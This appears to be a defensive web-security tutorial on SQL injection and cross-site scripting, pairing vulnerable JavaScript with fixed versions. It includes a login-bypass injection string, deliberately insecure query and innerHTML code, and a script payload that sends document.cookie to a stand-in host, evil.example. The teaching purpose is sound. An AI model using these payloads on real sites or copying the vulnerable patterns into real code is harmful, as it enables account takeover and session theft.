Cyber Security SQL Injection and XSS
SQL Injection and Cross-Site Scripting are two of the most common web application vulnerabilities, both caused by trusting user input without validating or escaping it.
What Is SQL Injection?
SQL Injection happens when an application builds a database query by directly combining user input with SQL code, allowing an attacker to insert their own SQL and change what the query actually does. If an application trusts a username or search box enough to paste it straight into a query string, an attacker can enter text that alters the query's logic instead of just supplying a value.
Vulnerable: Building a Query with String Concatenation
// The username and password are pasted directly into the SQL string
const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
db.execute(query);
// If an attacker enters this as the username:
// admin' --
// the query becomes:
// SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
// Everything after "--" is treated as a comment, so the password
// check is skipped entirely and the attacker is logged in as admin.Fixed: Parameterized Query
// The query structure and the user-supplied values are kept separate
const query = "SELECT * FROM users WHERE username = ? AND password = ?";
db.execute(query, [username, password]);
// The database driver always treats username/password as literal data,
// never as part of the SQL syntax, so characters like ' or -- can no
// longer change what the query does.What Is Cross-Site Scripting (XSS)?
Cross-Site Scripting happens when an application includes untrusted input in a web page without properly escaping it, letting an attacker's script run in another user's browser as if it were part of the legitimate site. Unlike SQL Injection, which targets the database, XSS targets the people viewing the page — it can steal session cookies, log keystrokes, or silently perform actions on the victim's behalf.
- Stored XSS: the malicious script is saved on the server (e.g., in a comment or profile field) and served to every visitor who views that content.
- Reflected XSS: the malicious script is part of a crafted link or request and is echoed back immediately in the response, so it typically requires tricking a specific victim into clicking it.
- DOM-based XSS: the vulnerable code runs entirely in the browser, inserting untrusted data into the page through JavaScript without ever passing through the server.
Vulnerable: Rendering User Input Directly
// The comment text is inserted into the page as raw HTML
function renderComment(comment) {
document.getElementById("comments").innerHTML += "<p>" + comment + "</p>";
}
// A comment containing this text:
// <script>fetch('https://evil.example/steal?c=' + document.cookie)</script>
// would execute in the browser of every visitor who views it,
// silently sending their session cookie to the attacker.Fixed: Treating Input as Text, Not Markup
// The comment is inserted as plain text, so markup cannot execute
function renderComment(comment) {
const p = document.createElement("p");
p.textContent = comment; // textContent is never parsed as HTML
document.getElementById("comments").appendChild(p);
}
